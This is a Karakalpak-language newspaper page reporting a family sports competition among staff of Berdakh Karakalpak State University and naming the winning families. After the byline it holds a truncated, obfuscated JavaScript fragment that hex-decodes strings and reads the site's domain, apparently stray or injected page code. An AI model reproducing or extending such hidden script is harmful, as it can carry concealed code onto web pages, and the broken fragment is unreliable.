Еркин Қарақалпақстан Вести Каракалпакстана 22:43:03, 20.07.2019
Хош келипсиз! | RSS
Сайт мазмуны

Кириў усылы

ШАҢАРАҚЛАР ЖАРЫСҚАНДА...

Бердақ атындағы Қарақалпақ мәмлекетлик университетинде жәмәәтте ислеўши хызметкерлер ҳәм олардың шаңарақ ағзалары арасында «Саламат шаңарақ» сүрени тийкарында спорт ойынлары жарысы шөлкемлестирилди.

Тийкарғы мақсети — хызметкерлер ҳәм олардың шаңарақ ағзалары арасында саламат турмыс тәризин үгит-нәсиятлаў, соның менен бирге шаңарақ ағзаларының дене тәрбиясы ҳәм спорт пенен шуғылланыўын күнделикли турмыс тәризине айландырыў, спорттың ғалаба түрлерине қызықтырыў арқалы мийнет өнимдарлығын арттырыўға көмеклесиў ҳәм шаңарақ ағзаларының спорт пенен турақлы шуғылланыў көнликпелерин қәлиплестириўден ибарат бол­ған жарысқа барлық факультет ҳәм бөлимлерде ислеўши профессор-оқытыўшылар, хызметкерлердиң шаңарақ ағзалары спорттың ғалабалық 8 түри бойынша беллести.

 

Оған  тийкарынан ата-ана ҳәм 8-12 жас аралығындағы ул бала, ата-ана ҳәм 8-12 жас аралығындағы қыз баласы бар болған шаңарақлар қатнасты.

Жарыс қатнасыўшылары жуўырыў, шаққанлық ҳәм мергенлик эстафетасы, зор ҳүжимши, қәддин туўырлаў, секириў, тезлик эстафетасы, епшиллик эстафетасы, арқан тартысыў, бир команда эстафетасы шәртлери тийкарында өз-ара күш сынасты.

Қызықлы өткен беллесиўлер жуўмағында ул баласы бар шаңарақлар арасында Аташовлар шаңарағы (тәбияттаныў факультети) биринши, Бердимуратовлар шаңарағы (дене мәденияты факультети) екинши ҳәм Ҳәкимовлар шаңарағы (шет тиллер факультети) үшинши орынды ийеледи. Ал, қыз баласы бар командалардан Алламуратовлар шаңарағы (тәбияттаныў факультети) биринши, Қосымбетовлар  (техника факультети) екинши ҳәм Баймуратовлар шаңарағы (физика-математика факультети) үшинши орынды ийеледи. Университет басқышында жеңимпаз болған шаңарақ командасы қалалық басқышқа жолламаны қолға киргизди. Сондай-ақ, «Ең шаққан шаңарақ», «Жеңиске бол­ған умтылыўы жоқары шаңарақ», «Белсене қатнасқан шаңарақ» номинациялары бойынша жеңимпаз командалар шөлкемлестириўшилер тәрепинен таярланған Ҳүрмет жарлығы ҳәм сыйлы саўғалар менен хошаметленди.

Ж.ЖӘРИМБЕТОВА.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "erkinkarakalpak.uz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

Излеў

Көп оқылған мақалалар

Сыбайлас сайтлар

Қарақалпақстан Республикасы Жоқарғы Кеңеси ҳәм Министрлер Кеңесиниң газеталары.
Қарақалпақстан баспасөз ҳәм хабар агентлигинде 2007-жыл 7-февральда дизимге алынған. Гүўалық № 01-001
Developed by TUIT NF